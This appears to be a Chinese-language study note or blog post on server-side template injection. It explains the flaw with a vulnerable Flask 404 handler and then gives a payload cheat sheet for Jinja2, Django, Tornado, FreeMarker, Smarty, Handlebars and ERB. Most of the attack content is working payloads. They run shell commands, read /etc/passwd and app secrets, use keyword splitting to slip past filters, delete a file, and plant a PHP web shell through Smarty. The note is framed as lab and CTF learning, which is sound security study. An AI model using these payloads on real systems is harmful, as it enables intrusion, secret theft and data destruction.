ssti
ssti
我之前在做了几道题之后写了一篇只包含python环境的ssti的总结,后来刷portswigger lab的时候才发觉自己先入为主了,所以决定重新写一篇。
因本人技术浅薄,只对见过的几个模板做简单介绍,如果想看有深度的文章,可以直接去看参考里的最后一个。
ssti不仅仅存在于python中。
ssti成因
服务端在接收用户输入或用户可控参数后,未作处理或未进行严格过滤,直接嵌入模板渲染,导致执行恶意代码。
拿python-jinja2举个例子吧
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
<div class="center-content error">
<h1>%s Not Found!</h1>
</div>
''' % (request.url)
return render_template_string(template), 404
if __name__ == '__main__':
app.run()
在这段代码中:
如果请求的url不存在,会返回404页面
404页面的内容模板template
包含request.url
返回时调用了render_template_string(template)
函数,而这个函数会调用jinja2模板引擎对template
进行渲染,如果request.url
中含有模板语句,将 会执行、渲染,然后返回
但这个例子有特殊性,在该环境下要想利用ssti,必须要有%
格式化字符串,就是template='''xxxxx'''%(request.url)
这一部分,如果把template
部分写 成了单独的html
文件,那么将无法实现
例如:
- 请求:
xxxx.xxx/{{ 10*10 }}
- 返回:
xxxx.xxx/{{ 100 }} Not Found!
ssti利用思路
- 确定模板引擎
- 修改参数,看报错信息
- 看模板语法
- 根据引擎寻找/构造payload
- 构造payload的思路
- 寻找可用对象(比如字符串、字典,或者已给出的对象)
- 通过可用对象寻找原生对象(object)
- 利用原生对象实例化目标对象(比如os)
- 执行代码
- 构造payload的思路
- 如果手工有困难,或者工作量比较大,可用使用
tqlmap
代替
ssti-payload
1-python
- fuzz
{{6*6}}
flask(jinja2)
-
查看文件夹
{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
这里的./
是路径
-
读取文件
-
{{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}
-
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
-
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')
-
-
RCE
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
-
查看配置项
{{ url_for.__globals__['current_app'].config['FLAG']}
-
bypass
django
- 查看配置项
{{settings}}
(settings.SECRET_KEY){{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}}
tornado
- 查看设置常量
{{handler.settings}}
- RCE
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}
2-java
freemarker
- RCE
<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
- 沙盒逃逸+ 文件读取
${object.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
3-php
smarty
- 读取文件
{self::getStreamVariable("file:///proc/self/loginuid")}
- 写入文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
4-javascript
handlebars
-
RCE
-
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('rm morale.txt');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
-
5-Ruby
ERB
- RCE
<%= exec 'ls' %>
参考
- https://xz.aliyun.com/t/3679 Flask
- https://blog.csdn.net/weixin_33967071/article/details/89831707 FreeMarker
- http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html Handlebars
- https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E 一篇非常棒的ssti总结!!!